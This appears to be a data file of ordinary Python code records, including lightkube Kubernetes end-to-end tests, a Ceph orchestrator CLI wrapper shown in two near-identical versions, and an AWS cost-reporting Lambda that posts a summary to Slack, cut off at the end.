assert node.metadata.labels['kubernetes.io/os'] == node.status.nodeInfo.operatingSystem
def test_namespaced_methods(obj_name):
client = Client()
config = ConfigMap(
metadata=ObjectMeta(name=obj_name, namespace='default'),
data={'key1': 'value1', 'key2': 'value2'}
)
# create
config = client.create(config)
try:
assert config.metadata.name == obj_name
assert config.data['key1'] == 'value1'
assert config.data['key2'] == 'value2'
# replace
config.data['key1'] = 'new value'
config = client.replace(config)
assert config.data['key1'] == 'new value'
assert config.data['key2'] == 'value2'
# patch with PatchType.STRATEGIC
patch = {'metadata': {'labels': {'app': 'xyz'}}}
config = client.patch(ConfigMap, name=obj_name, obj=patch)
assert config.metadata.labels['app'] == 'xyz'
# get
config2 = client.get(ConfigMap, name=obj_name)
assert config.metadata.creationTimestamp == config2.metadata.creationTimestamp
# list
configs = [config.metadata.name for config in client.list(ConfigMap)]
assert obj_name in configs
finally:
client.delete(ConfigMap, name=obj_name)
def test_patching(obj_name):
client = Client()
service = Service(
metadata=ObjectMeta(name=obj_name),
spec=ServiceSpec(
ports=[ServicePort(name='a', port=80, targetPort=8080)],
selector={'app': 'not-existing'}
)
)
# create
client.create(service)
try:
# patch with PatchType.STRATEGIC
patch = {'spec': {'ports': [{'name': 'b', 'port':81, 'targetPort': 8081}]}}
service = client.patch(Service, name=obj_name, obj=patch)
assert len(service.spec.ports) == 2
assert {port.name for port in service.spec.ports} == {'a', 'b'}
# strategic - patch merge key: port
# we also try to send a Resource type for patching
patch = Service(spec=ServiceSpec(ports=[ServicePort(name='b', port=81, targetPort=8082)]))
service = client.patch(Service, name=obj_name, obj=patch)
assert len(service.spec.ports) == 2
for port in service.spec.ports:
if port.port == 81:
assert port.targetPort == 8082
# patch with PatchType.MERGE
# merge will replace the full list
patch = {'spec': {'ports': [{'name': 'b', 'port': 81, 'targetPort': 8081}]}}
service = client.patch(Service, name=obj_name, obj=patch, patch_type=PatchType.MERGE)
assert len(service.spec.ports) == 1
assert service.spec.ports[0].port == 81
# patch with PatchType.JSON
patch = [
{'op': 'add', 'path': '/spec/ports/-', 'value': {'name': 'a', 'port': 80, 'targetPort': 8080}}
]
service = client.patch(Service, name=obj_name, obj=patch, patch_type=PatchType.JSON)
assert len(service.spec.ports) == 2
assert service.spec.ports[1].port == 80
finally:
client.delete(Service, name=obj_name)
def test_deletecollection(obj_name):
client = Client()
config = ConfigMap(
metadata=ObjectMeta(name=obj_name, namespace=obj_name),
data={'key1': 'value1', 'key2': 'value2'}
)
client.create(Namespace(metadata=ObjectMeta(name=obj_name)))
try:
# create
client.create(config)
config.metadata.name = f"{obj_name}-2"
client.create(config)
# k3s automatically create/recreate one extra configmap.
maps = names(client.list(ConfigMap, namespace=obj_name))
assert obj_name in maps
assert f"{obj_name}-2" in maps
client.deletecollection(ConfigMap, namespace=obj_name)
maps = names(client.list(ConfigMap, namespace=obj_name))
assert obj_name not in maps
assert f"{obj_name}-2" not in maps
finally:
client.delete(Namespace, name=obj_name)
def test_list_all_ns(obj_name):
client = Client()
ns1 = obj_name
ns2 = f"{obj_name}-2"
config = ConfigMap(
metadata=ObjectMeta(name=obj_name),
data={'key1': 'value1', 'key2': 'value2'}
)
client.create(Namespace(metadata=ObjectMeta(name=ns1)))
client.create(Namespace(metadata=ObjectMeta(name=ns2)))
try:
client.create(config, namespace=ns1)
client.create(config, namespace=ns2)
maps = [f"{cm.metadata.namespace}/{cm.metadata.name}" for cm in client.list(ConfigMap, namespace='*')]
assert f"{ns1}/{obj_name}" in maps
assert f"{ns2}/{obj_name}" in maps
finally:
client.delete(Namespace, name=ns1)
client.delete(Namespace, name=ns2)
@pytest.mark.parametrize("resource", [Node])
def test_wait_global(resource):
client = Client()
for obj in client.list(resource):
client.wait(resource, obj.metadata.name, for_conditions=["Ready"])
@pytest.mark.asyncio
@pytest.mark.parametrize("resource", [Node])
async def test_wait_global_async(resource):
client = AsyncClient()
async for obj in client.list(resource):
await client.wait(resource, obj.metadata.name, for_conditions=["Ready"])
await client.close()
WAIT_NAMESPACED_PARAMS = [
(Pod, "Ready", {"containers": [{"name": "nginx", "image": "nginx:1.21.4"}]}),
(
Deployment,
"Available",
{
"selector": {"matchLabels": {"foo": "bar"}},
"template": {
"metadata": {"labels": {"foo": "bar"}},
"spec": {"containers": [{"name": "nginx", "image": "nginx:1.21.4"}]},
},
},
),
]
@pytest.mark.parametrize("resource,for_condition,spec", WAIT_NAMESPACED_PARAMS)
def test_wait_namespaced(resource, for_condition, spec):
client = Client()
requested = resource.from_dict(
{"metadata": {"generateName": "e2e-test-"}, "spec": spec}
)
created = client.create(requested)
client.wait(
resource,
created.metadata.name,
for_conditions=[for_condition],
)
client.delete(resource, created.metadata.name)
@pytest.mark.asyncio
@pytest.mark.parametrize("resource,for_condition,spec", WAIT_NAMESPACED_PARAMS)
async def test_wait_namespaced_async(resource, for_condition, spec):
client = AsyncClient()
requested = resource.from_dict(
{"metadata": {"generateName": "e2e-test-"}, "spec": spec}
)
created = await client.create(requested)
await client.wait(
resource,
created.metadata.name,
for_conditions=[for_condition],
)
await client.delete(resource, created.metadata.name)
await client.close()
| import time
from datetime import datetime
import pytest
from lightkube import Client, ApiError, AsyncClient
from lightkube.types import PatchType
from lightkube.resources.core_v1 import Pod, Node, ConfigMap, Service, Namespace
from lightkube.resources.apps_v1 import Deployment
from lightkube.models.meta_v1 import ObjectMeta
from lightkube.models.core_v1 import PodSpec, Container, ServiceSpec, ServicePort
uid_count = 0
@pytest.fixture
def obj_name():
global uid_count
uid_count += 1
return f'test-{datetime.utcnow().strftime("%Y%m%d%H%M%S")}-{uid_count}'
def names(obj_list):
return [obj.metadata.name for obj in obj_list]
def create_pod(name, command) -> Pod:
return Pod(
metadata=ObjectMeta(name=name, labels={'app-name': name}),
spec=PodSpec(containers=[Container(
name='main',
image='busybox',
args=[
"/bin/sh",
"-c",
command
],
)], terminationGracePeriodSeconds=1)
)
def wait_pod(client, pod):
# watch pods
for etype, pod in client.watch(Pod, labels={'app-name': pod.metadata.name},
resource_version=pod.metadata.resourceVersion):
if pod.status.phase != 'Pending':
break
def test_pod_apis(obj_name):
client = Client()
# list kube-system namespace
pods = [pod.metadata.name for pod in client.list(Pod, namespace='kube-system')]
assert len(pods) > 0
assert any(name.startswith('metrics-server') for name in pods)
# create a pod
pod = client.create(create_pod(obj_name, "while true;do echo 'this is a test';sleep 5; done"))
try:
assert pod.metadata.name == obj_name
assert pod.metadata.namespace == client.namespace
assert pod.status.phase
wait_pod(client, pod)
# read pod logs
for l in client.log(obj_name, follow=True):
assert l == 'this is a test\n'
break
finally:
# delete the pod
client.delete(Pod, obj_name)
def test_pod_not_exist():
client = Client()
with pytest.raises(ApiError) as exc_info:
client.get(Pod, name='this-pod-is-not-found')
status = exc_info.value.status
assert status.code == 404
assert status.details.name == 'this-pod-is-not-found'
assert status.reason == 'NotFound'
assert status.status == 'Failure'
def test_pod_already_exist(obj_name):
client = Client()
client.create(create_pod(obj_name, "sleep 5"))
try:
with pytest.raises(ApiError) as exc_info:
client.create(create_pod(obj_name, "sleep 5"))
status = exc_info.value.status
assert status.code == 409
assert status.reason == 'AlreadyExists'
assert status.status == 'Failure'
finally:
# delete the pod
client.delete(Pod, obj_name)
def test_global_methods():
client = Client()
nodes = [node.metadata.name for node in client.list(Node)]
assert len(nodes) > 0
node = client.get(Node, name=nodes[0])
assert node.metadata.name == nodes[0]
assert node.metadata.labels['kubernetes.io/os'] == node.status.nodeInfo.operatingSystem
def test_namespaced_methods(obj_name):
client = Client()
config = ConfigMap(
metadata=ObjectMeta(name=obj_name, namespace='default'),
data={'key1': 'value1', 'key2': 'value2'}
)
# create
config = client.create(config)
try:
assert config.metadata.name == obj_name
assert config.data['key1'] == 'value1'
assert config.data['key2'] == 'value2'
# replace
config.data['key1'] = 'new value'
config = client.replace(config)
assert config.data['key1'] == 'new value'
assert config.data['key2'] == 'value2'
# patch with PatchType.STRATEGIC
patch = {'metadata': {'labels': {'app': 'xyz'}}}
config = client.patch(ConfigMap, name=obj_name, obj=patch)
assert config.metadata.labels['app'] == 'xyz'
# get
config2 = client.get(ConfigMap, name=obj_name)
assert config.metadata.creationTimestamp == config2.metadata.creationTimestamp
# list
configs = [config.metadata.name for config in client.list(ConfigMap)]
assert obj_name in configs
finally:
client.delete(ConfigMap, name=obj_name)
def test_patching(obj_name):
client = Client()
service = Service(
metadata=ObjectMeta(name=obj_name),
spec=ServiceSpec(
ports=[ServicePort(name='a', port=80, targetPort=8080)],
selector={'app': 'not-existing'}
)
)
# create
client.create(service)
try:
# patch with PatchType.STRATEGIC
patch = {'spec': {'ports': [{'name': 'b', 'port':81, 'targetPort': 8081}]}}
service = client.patch(Service, name=obj_name, obj=patch)
assert len(service.spec.ports) == 2
assert {port.name for port in service.spec.ports} == {'a', 'b'}
# strategic - patch merge key: port
# we also try to send a Resource type for patching
patch = Service(spec=ServiceSpec(ports=[ServicePort(name='b', port=81, targetPort=8082)]))
service = client.patch(Service, name=obj_name, obj=patch)
assert len(service.spec.ports) == 2
for port in service.spec.ports:
if port.port == 81:
assert port.targetPort == 8082
# patch with PatchType.MERGE
# merge will replace the full list
patch = {'spec': {'ports': [{'name': 'b', 'port': 81, 'targetPort': 8081}]}}
service = client.patch(Service, name=obj_name, obj=patch, patch_type=PatchType.MERGE)
assert len(service.spec.ports) == 1
assert service.spec.ports[0].port == 81
# patch with PatchType.JSON
patch = [
{'op': 'add', 'path': '/spec/ports/-', 'value': {'name': 'a', 'port': 80, 'targetPort': 8080}}
]
service = client.patch(Service, name=obj_name, obj=patch, patch_type=PatchType.JSON)
assert len(service.spec.ports) == 2
assert service.spec.ports[1].port == 80
finally:
client.delete(Service, name=obj_name)
def test_deletecollection(obj_name):
client = Client()
config = ConfigMap(
metadata=ObjectMeta(name=obj_name, namespace=obj_name),
data={'key1': 'value1', 'key2': 'value2'}
)
client.create(Namespace(metadata=ObjectMeta(name=obj_name)))
try:
# create
client.create(config)
config.metadata.name = f"{obj_name}-2"
client.create(config)
# k3s automatically create/recreate one extra configmap.
maps = names(client.list(ConfigMap, namespace=obj_name))
assert obj_name in maps
assert f"{obj_name}-2" in maps
client.deletecollection(ConfigMap, namespace=obj_name)
maps = names(client.list(ConfigMap, namespace=obj_name))
assert obj_name not in maps
assert f"{obj_name}-2" not in maps
finally:
client.delete(Namespace, name=obj_name)
def test_list_all_ns(obj_name):
client = Client()
ns1 = obj_name
ns2 = f"{obj_name}-2"
config = ConfigMap(
metadata=ObjectMeta(name=obj_name),
data={'key1': 'value1', 'key2': 'value2'}
)
client.create(Namespace(metadata=ObjectMeta(name=ns1)))
client.create(Namespace(metadata=ObjectMeta(name=ns2)))
try:
client.create(config, namespace=ns1)
client.create(config, namespace=ns2)
maps = [f"{cm.metadata.namespace}/{cm.metadata.name}" for cm in client.list(ConfigMap, namespace='*')]
assert f"{ns1}/{obj_name}" in maps
assert f"{ns2}/{obj_name}" in maps
finally:
client.delete(Namespace, name=ns1)
client.delete(Namespace, name=ns2)
@pytest.mark.parametrize("resource", [Node])
def test_wait_global(resource):
client = Client()
for obj in client.list(resource):
client.wait(resource, obj.metadata.name, for_conditions=["Ready"])
@pytest.mark.asyncio
@pytest.mark.parametrize("resource", [Node])
async def test_wait_global_async(resource):
client = AsyncClient()
async for obj in client.list(resource):
await client.wait(resource, obj.metadata.name, for_conditions=["Ready"])
await client.close()
WAIT_NAMESPACED_PARAMS = [
(Pod, "Ready", {"containers": [{"name": "nginx", "image": "nginx:1.21.4"}]}),
(
Deployment,
"Available",
{
"selector": {"matchLabels": {"foo": "bar"}},
"template": {
"metadata": {"labels": {"foo": "bar"}},
"spec": {"containers": [{"name": "nginx", "image": "nginx:1.21.4"}]},
},
},
),
]
@pytest.mark.parametrize("resource,for_condition,spec", WAIT_NAMESPACED_PARAMS)
def test_wait_namespaced(resource, for_condition, spec):
client = Client()
requested = resource.from_dict(
{"metadata": {"generateName": "e2e-test-"}, "spec": spec}
)
created = client.create(requested)
client.wait(
resource,
created.metadata.name,
for_conditions=[for_condition],
)
client.delete(resource, created.metadata.name)
@pytest.mark.asyncio
@pytest.mark.parametrize("resource,for_condition,spec", WAIT_NAMESPACED_PARAMS)
async def test_wait_namespaced_async(resource, for_condition, spec):
client = AsyncClient()
requested = resource.from_dict(
{"metadata": {"generateName": "e2e-test-"}, "spec": spec}
)
created = await client.create(requested)
await client.wait(
resource,
created.metadata.name,
for_conditions=[for_condition],
)
await client.delete(resource, created.metadata.name)
await client.close()
|
"""
Module that interacts with the orchestrator CLI.
Provide the interfaces to ceph orch and in turn manage the orchestration engine.
"""
from datetime import datetime, timedelta
from json import loads
from time import sleep
from ceph.ceph import ResourceNotFoundError
from utility.log import Log
from .ceph import CephCLI
from .common import config_dict_to_string
from .helper import GenerateServiceSpec
from .ls import LSMixin
from .pause import PauseMixin
from .ps import PSMixin
from .reconfig import ReconfigMixin
from .redeploy import RedeployMixin
from .remove import RemoveMixin
from .restart import RestartMixin
from .resume import ResumeMixin
from .start import StartMixin
from .stop import StopMixin
from .upgrade import UpgradeMixin
LOG = Log(__name__)
class Orch(
LSMixin,
PSMixin,
ReconfigMixin,
RedeployMixin,
RemoveMixin,
RestartMixin,
StartMixin,
StopMixin,
UpgradeMixin,
PauseMixin,
ResumeMixin,
CephCLI,
):
"""Represent ceph orch command."""
direct_calls = ["ls", "ps"]
def get_hosts_by_label(self, label: str):
"""
Fetch host object by label attached to it.
Args:
label (Str): name of the label
Returns:
hosts (List)
"""
out, _ = self.shell(args=["ceph", "orch", "host", "ls", "--format=json"])
return [node for node in loads(out) if label in node.get("labels")]
def check_service_exists(
self,
service_name: str = None,
service_type: str = None,
timeout: int = 300,
interval: int = 5,
) -> bool:
"""
Verify the provided service is running for the given list of ids.
Args:
service_name (Str): The name of the service to be checked.
service_type (Str): The type of the service to be checked.
timeout (Int): In seconds, the maximum allowed time (default=300)
interval (int): In seconds, the polling interval time (default=5)
Returns:
Boolean: True if the service and the list of daemons are running else False.
"""
end_time = datetime.now() + timedelta(seconds=timeout)
check_status_dict = {
"base_cmd_args": {"format": "json"},
"args": {"refresh": True},
}
if service_name:
check_status_dict["args"]["service_name"] = service_name
if service_type:
check_status_dict["args"]["service_type"] = service_type
while end_time > datetime.now():
sleep(interval)
out, err = self.ls(check_status_dict)
out = loads(out)[0]
running = out["status"]["running"]
count = out["status"]["size"]
LOG.info(
f"{running}/{count} {service_name if service_name else service_type} up... retrying"
)
if count == running:
return True
# Identify the failure
out, err = self.ls(check_status_dict)
out = loads(out)
LOG.error(
f"{service_name if service_name else service_type} failed with \n{out[0]["events"]}"
)
return False
def get_role_service(self, service_name: str) -> str:
"""
Get service info by name.
Args:
service_name (Str): service name
Returns:
service (Dict)
Raises:
ResourceNotFound: when no resource with the provided is matched.
"""
out, _ = self.ls()
for svc in loads(out):
if service_name in svc.get("service_name"):
return svc
raise ResourceNotFoundError(f"No service names matched {service_name}")
def check_service(
self, service_name: str, timeout: int = 300, interval: int = 5, exist=True
) -> bool:
"""
check service existence based on the exist parameter.
if exist is set, then validate its presence. otherwise, for its removal.
Args:
service_name (Str): service name
timeout (Int): timeout in seconds
interval (Int): interval in seconds
exist (Bool): exists or not
Returns:
Boolean
"""
end_time = datetime.now() + timedelta(seconds=timeout)
while end_time > datetime.now():
sleep(interval)
out, err = self.ls({"base_cmd_args": {"format": "json"}})
out = loads(out)
service = [d for d in out if d.get("service_name") == service_name]
if service_name not in service and not exist:
return True
elif service_name in service and exist:
return True
LOG.info("[%s] check for existence: %s, retrying" % (service_name, exist))
return False
def apply_spec(self, config) -> None:
"""
Execute the apply_spec method using the object's service name and provided input.
Args:
config (Dict): Key/value pairs passed from the test suite.
Example::
config:
command: apply_spec
service: orch
base_cmd_args: # arguments to ceph orch
concise: true
verbose: true
specs:
- service_type: host
attach_ip_address: true
labels: apply-all-labels
nodes:
- node2
- node3
base_cmd_args - key/value pairs to set for base command
specs - service specifications.
"""
base_cmd = ["ceph", "orch"]
if config.get("base_cmd_args"):
base_cmd_args_str = config_dict_to_string(config.get("base_cmd_args"))
base_cmd.append(base_cmd_args_str)
base_cmd.append("apply -i")
specs = config["specs"]
spec_cls = GenerateServiceSpec(
node=self.installer, cluster=self.cluster, specs=specs
)
spec_filename = spec_cls.create_spec_file()
base_cmd.append(spec_filename)
out, err = self.shell(
args=base_cmd,
base_cmd_args={"mount": "/tmp:/tmp"},
)
LOG.info(f"apply-spec command response :\n{out}")
# todo: add verification part
# validate services
validate_spec_services = config.get("validate-spec-services")
if validate_spec_services:
self.validate_spec_services(specs=specs)
LOG.info("Validation of service created using a spec file is completed")
def op(self, op, config):
"""
Execute the command ceph orch <start|stop|restart|reconfigure|redeploy> <service>.
Args:
config (Dict): command and service are passed from the test case.
op (Str): operation parameters.
Returns:
output (Str), error (Str) returned by the command.
Example::
Testing ceph orch restart mon
op: restart|start|stop|reconfigure|redeploy
config:
command: restart
service: mon
...
config:
command: start
base_cmd_args:
verbose: true
pos_args:
- service_name
"""
base_cmd = ["ceph", "orch"]
if config.get("base_cmd_args"):
base_cmd.append(config_dict_to_string(config["base_cmd_args"]))
base_cmd.append(op)
base_cmd.extend(config.get("pos_args"))
return self.shell(args=base_cmd)
def status(self, config) -> bool:
"""Execute the command ceph orch status <args>.
Args:
config (Dict): The key/value pairs passed from the test case.
Returns:
output, error returned by the command.
Example::
Testing ceph orch status
config:
command: status
base_cmd_args:
verbose: true
format: json | json-pretty | xml | xml-pretty | plain | yaml
args:
detail: true
"""
cmd = ["ceph", "orch"]
if config and config.get("base_cmd_args"):
base_cmd_args = config_dict_to_string(config["base_cmd_args"])
cmd.append(base_cmd_args)
cmd.append("status")
if config and config.get("args"):
args = config.get("args")
if args["detail"]:
cmd.append("--detail")
return self.shell(args=cmd)
def verify_status(self, op) -> None:
"""Verify the status of the orchestrator for the operation specified.
Args:
op (str): pause/resume based on whether the pause or resume status to be checked
"""
config = {"command": "status", "base_cmd_args": {"format": "json"}}
out, _ = self.status(config)
status = loads(out)
if op == "pause" and status["paused"]:
LOG.info("The orch operations are paused")
return True
elif op == "resume" and not loads(out)["paused"]:
LOG.info("The orch operations are resumed")
return True
return False
def validate_spec_services(self, specs) -> None:
LOG.info("Validating spec services")
for spec in specs:
self.check_service_exists(service_type=spec["service_type"])
return False
| """
Module that interacts with the orchestrator CLI.
Provide the interfaces to ceph orch and in turn manage the orchestration engine.
"""
from datetime import datetime, timedelta
from json import loads
from time import sleep
from ceph.ceph import ResourceNotFoundError
from utility.log import Log
from .ceph import CephCLI
from .common import config_dict_to_string
from .helper import GenerateServiceSpec
from .ls import LSMixin
from .pause import PauseMixin
from .ps import PSMixin
from .reconfig import ReconfigMixin
from .redeploy import RedeployMixin
from .remove import RemoveMixin
from .restart import RestartMixin
from .resume import ResumeMixin
from .start import StartMixin
from .stop import StopMixin
from .upgrade import UpgradeMixin
LOG = Log(__name__)
class Orch(
LSMixin,
PSMixin,
ReconfigMixin,
RedeployMixin,
RemoveMixin,
RestartMixin,
StartMixin,
StopMixin,
UpgradeMixin,
PauseMixin,
ResumeMixin,
CephCLI,
):
"""Represent ceph orch command."""
direct_calls = ["ls", "ps"]
def get_hosts_by_label(self, label: str):
"""
Fetch host object by label attached to it.
Args:
label (Str): name of the label
Returns:
hosts (List)
"""
out, _ = self.shell(args=["ceph", "orch", "host", "ls", "--format=json"])
return [node for node in loads(out) if label in node.get("labels")]
def check_service_exists(
self,
service_name: str = None,
service_type: str = None,
timeout: int = 300,
interval: int = 5,
) -> bool:
"""
Verify the provided service is running for the given list of ids.
Args:
service_name (Str): The name of the service to be checked.
service_type (Str): The type of the service to be checked.
timeout (Int): In seconds, the maximum allowed time (default=300)
interval (int): In seconds, the polling interval time (default=5)
Returns:
Boolean: True if the service and the list of daemons are running else False.
"""
end_time = datetime.now() + timedelta(seconds=timeout)
check_status_dict = {
"base_cmd_args": {"format": "json"},
"args": {"refresh": True},
}
if service_name:
check_status_dict["args"]["service_name"] = service_name
if service_type:
check_status_dict["args"]["service_type"] = service_type
while end_time > datetime.now():
sleep(interval)
out, err = self.ls(check_status_dict)
out = loads(out)[0]
running = out["status"]["running"]
count = out["status"]["size"]
LOG.info(
f"{running}/{count} {service_name if service_name else service_type} up... retrying"
)
if count == running:
return True
# Identify the failure
out, err = self.ls(check_status_dict)
out = loads(out)
LOG.error(
f"{service_name if service_name else service_type} failed with \n{out[0]['events']}"
)
return False
def get_role_service(self, service_name: str) -> str:
"""
Get service info by name.
Args:
service_name (Str): service name
Returns:
service (Dict)
Raises:
ResourceNotFound: when no resource with the provided is matched.
"""
out, _ = self.ls()
for svc in loads(out):
if service_name in svc.get("service_name"):
return svc
raise ResourceNotFoundError(f"No service names matched {service_name}")
def check_service(
self, service_name: str, timeout: int = 300, interval: int = 5, exist=True
) -> bool:
"""
check service existence based on the exist parameter.
if exist is set, then validate its presence. otherwise, for its removal.
Args:
service_name (Str): service name
timeout (Int): timeout in seconds
interval (Int): interval in seconds
exist (Bool): exists or not
Returns:
Boolean
"""
end_time = datetime.now() + timedelta(seconds=timeout)
while end_time > datetime.now():
sleep(interval)
out, err = self.ls({"base_cmd_args": {"format": "json"}})
out = loads(out)
service = [d for d in out if d.get("service_name") == service_name]
if service_name not in service and not exist:
return True
elif service_name in service and exist:
return True
LOG.info("[%s] check for existence: %s, retrying" % (service_name, exist))
return False
def apply_spec(self, config) -> None:
"""
Execute the apply_spec method using the object's service name and provided input.
Args:
config (Dict): Key/value pairs passed from the test suite.
Example::
config:
command: apply_spec
service: orch
base_cmd_args: # arguments to ceph orch
concise: true
verbose: true
specs:
- service_type: host
attach_ip_address: true
labels: apply-all-labels
nodes:
- node2
- node3
base_cmd_args - key/value pairs to set for base command
specs - service specifications.
"""
base_cmd = ["ceph", "orch"]
if config.get("base_cmd_args"):
base_cmd_args_str = config_dict_to_string(config.get("base_cmd_args"))
base_cmd.append(base_cmd_args_str)
base_cmd.append("apply -i")
specs = config["specs"]
spec_cls = GenerateServiceSpec(
node=self.installer, cluster=self.cluster, specs=specs
)
spec_filename = spec_cls.create_spec_file()
base_cmd.append(spec_filename)
out, err = self.shell(
args=base_cmd,
base_cmd_args={"mount": "/tmp:/tmp"},
)
LOG.info(f"apply-spec command response :\n{out}")
# todo: add verification part
# validate services
validate_spec_services = config.get("validate-spec-services")
if validate_spec_services:
self.validate_spec_services(specs=specs)
LOG.info("Validation of service created using a spec file is completed")
def op(self, op, config):
"""
Execute the command ceph orch <start|stop|restart|reconfigure|redeploy> <service>.
Args:
config (Dict): command and service are passed from the test case.
op (Str): operation parameters.
Returns:
output (Str), error (Str) returned by the command.
Example::
Testing ceph orch restart mon
op: restart|start|stop|reconfigure|redeploy
config:
command: restart
service: mon
...
config:
command: start
base_cmd_args:
verbose: true
pos_args:
- service_name
"""
base_cmd = ["ceph", "orch"]
if config.get("base_cmd_args"):
base_cmd.append(config_dict_to_string(config["base_cmd_args"]))
base_cmd.append(op)
base_cmd.extend(config.get("pos_args"))
return self.shell(args=base_cmd)
def status(self, config) -> bool:
"""Execute the command ceph orch status <args>.
Args:
config (Dict): The key/value pairs passed from the test case.
Returns:
output, error returned by the command.
Example::
Testing ceph orch status
config:
command: status
base_cmd_args:
verbose: true
format: json | json-pretty | xml | xml-pretty | plain | yaml
args:
detail: true
"""
cmd = ["ceph", "orch"]
if config and config.get("base_cmd_args"):
base_cmd_args = config_dict_to_string(config["base_cmd_args"])
cmd.append(base_cmd_args)
cmd.append("status")
if config and config.get("args"):
args = config.get("args")
if args["detail"]:
cmd.append("--detail")
return self.shell(args=cmd)
def verify_status(self, op) -> None:
"""Verify the status of the orchestrator for the operation specified.
Args:
op (str): pause/resume based on whether the pause or resume status to be checked
"""
config = {"command": "status", "base_cmd_args": {"format": "json"}}
out, _ = self.status(config)
status = loads(out)
if op == "pause" and status["paused"]:
LOG.info("The orch operations are paused")
return True
elif op == "resume" and not loads(out)["paused"]:
LOG.info("The orch operations are resumed")
return True
return False
def validate_spec_services(self, specs) -> None:
LOG.info("Validating spec services")
for spec in specs:
self.check_service_exists(service_type=spec["service_type"])
return False
|
from collections import defaultdict
import boto3
import datetime
import os
import requests
import sys
n_days = 7
yesterday = datetime.datetime.today() - datetime.timedelta(days=1)
week_ago = yesterday - datetime.timedelta(days=n_days)
# It seems that the sparkline symbols don't line up (probalby based on font?) so put them last
# Also, leaving out the full block because Slack doesn't like it: '█'
sparks = ['▁', '▂', '▃', '▄', '▅', '▆', '▇']
def sparkline(datapoints):
lower = min(datapoints)
upper = max(datapoints)
width = upper - lower
n_sparks = len(sparks) - 1
line = ""
for dp in datapoints:
scaled = 1 if width == 0 else (dp - lower) / width
which_spark = int(scaled * n_sparks)
line += (sparks[which_spark])
return line
def delta(costs):
if (len(costs) > 1 and costs[-1] >= 1 and costs[-2] >= 1):
# This only handles positive numbers
result = ((costs[-1]/costs[-2])-1)*100.0
else:
result = 0
return result
def report_cost(event, context, result: dict = None, yesterday: str = None, new_method=True):
if yesterday is None:
yesterday = datetime.datetime.today() - datetime.timedelta(days=1)
else:
yesterday = datetime.datetime.strptime(yesterday, '%Y-%m-%d')
week_ago = yesterday - datetime.timedelta(days=n_days)
# Generate list of dates, so that even if our data is sparse,
# we have the correct length lists of costs (len is n_days)
list_of_dates = [
(week_ago + datetime.timedelta(days=x)).strftime('%Y-%m-%d')
for x in range(n_days)
]
print(list_of_dates)
# Get account account name from env, or account id/account alias from boto3
account_name = os.environ.get("AWS_ACCOUNT_NAME", None)
if account_name is None:
iam = boto3.client("iam")
paginator = iam.get_paginator("list_account_aliases")
for aliases in paginator.paginate(PaginationConfig={"MaxItems": 1}):
if "AccountAliases" in aliases and len(aliases["AccountAliases"]) > 0:
account_name = aliases["AccountAliases"][0]
if account_name is None:
account_name = boto3.client("sts").get_caller_identity().get("Account")
if account_name is None:
account_name = "[NOT FOUND]"
client = boto3.client('ce')
query = {
"TimePeriod": {
"Start": week_ago.strftime('%Y-%m-%d'),
"End": yesterday.strftime('%Y-%m-%d'),
},
"Granularity": "DAILY",
"Filter": {
"Not": {
"Dimensions": {
"Key": "RECORD_TYPE",
"Values": [
"Credit",
"Refund",
"Upfront",
"Support",
]
}
}
},
"Metrics": ["UnblendedCost"],
"GroupBy": [
{
"Type": "DIMENSION",
"Key": "SERVICE",
},
],
}
# Only run the query when on lambda, not when testing locally with example json
if result is None:
result = client.get_cost_and_usage(**query)
cost_per_day_by_service = defaultdict(list)
if new_method == False:
# Build a map of service -> array of daily costs for the time frame
for day in result['ResultsByTime']:
for group in day['Groups']:
key = group['Keys'][0]
cost = float(group['Metrics']['UnblendedCost']['Amount'])
cost_per_day_by_service[key].append(cost)
else:
# New method, which first creates a dict of dicts
# then loop over the services and loop over the list_of_dates
# and this means even for sparse data we get a full list of costs
cost_per_day_dict = defaultdict(dict)
for day in result['ResultsByTime']:
start_date = day["TimePeriod"]["Start"]
for group in day['Groups']:
key = group['Keys'][0]
cost = float(group['Metrics']['UnblendedCost']['Amount'])
cost_per_day_dict[key][start_date] = cost
for key in cost_per_day_dict.keys():
for start_date in list_of_dates:
cost = cost_per_day_dict[key].get(start_date, 0.0) # fallback for sparse data
cost_per_day_by_service[key].append(cost)
# Sort the map by yesterday's cost
most_expensive_yesterday = sorted(cost_per_day_by_service.items(), key=lambda i: i[1][-1], reverse=True)
service_names = [k for k,_ in most_expensive_yesterday[:5]]
longest_name_len = len(max(service_names, key = len))
buffer = f"{"Service":{longest_name_len}} ${"Yday":8} {"∆%":>5} {"Last 7d":7}\n"
for service_name, costs in most_expensive_yesterday[:5]:
buffer += f"{service_name:{longest_name_len}} ${costs[-1]:8,.2f} {delta(costs):4.0f}% {sparkline(costs):7}\n"
other_costs = [0.0] * n_days
for service_name, costs in most_expensive_yesterday[5:]:
for i, cost in enumerate(costs):
other_costs[i] += cost
buffer += f"{"Other":{longest_name_len}} ${other_costs[-1]:8,.2f} {delta(other_costs):4.0f}% {sparkline(other_costs):7}\n"
total_costs = [0.0] * n_days
for day_number in range(n_days):
for service_name, costs in most_expensive_yesterday:
try:
total_costs[day_number] += costs[day_number]
except IndexError:
total_costs[day_number] += 0.0
buffer += f"{"Total":{longest_name_len}} ${total_costs[-1]:8,.2f} {delta(total_costs):4.0f}% {sparkline(total_costs):7}\n"
cost_per_day_by_service["total"] = total_costs[-1]
credits_expire_date = os.environ.get('CREDITS_EXPIRE_DATE')
if credits_expire_date:
credits_expire_date = datetime.datetime.strptime(credits_expire_date, "%m/%d/%Y")
credits_remaining_as_of = os.environ.get('CREDITS_REMAINING_AS_OF')
credits_remaining_as_of = datetime.datetime.strptime(credits_remaining_as_of, "%m/%d/%Y")
credits_remaining = float(os.environ.get('CREDITS_REMAINING'))
days_left_on_credits = (credits_expire_date - credits_remaining_as_of).days
allowed_credits_per_day = credits_remaining / days_left_on_credits
relative_to_budget = (total_costs[-1] / allowed_credits_per_day) * 100.0
if relative_to_budget < 60:
emoji = ":white_check_mark:"
elif relative_to_budget > 110:
emoji = ":rotating_light:"
else:
emoji = ":warning:"
summary = (f"{emoji} Yesterday's cost for {account_name} ${total_costs[-1]:,.2f} "
f"is {relative_to_budget:.2f}% of credit budget "
f"${allowed_credits_per_day:,.2f} for the day."
)
else:
summary = f"Yesterday's cost for account {account_name} was ${total_costs[-1]:,.2f}"
hook_url = os.environ.get('SLACK_WEBHOOK_URL')
if hook_url:
resp = requests.post(
hook_url,
json={
"text": summary + "\n\n```\n" + buffer + "\n```",
}
)
if resp.status_code != 200:
print("HTTP %s: %s" % (resp.status_code, resp.text))
else:
print(summary)
print(buffer)
# for running locally to test output
return cost_per_day_by_service
if __name__ == "__main__":
# for running locally to test
import json
with open("example_boto3_result.json", "r") as f:
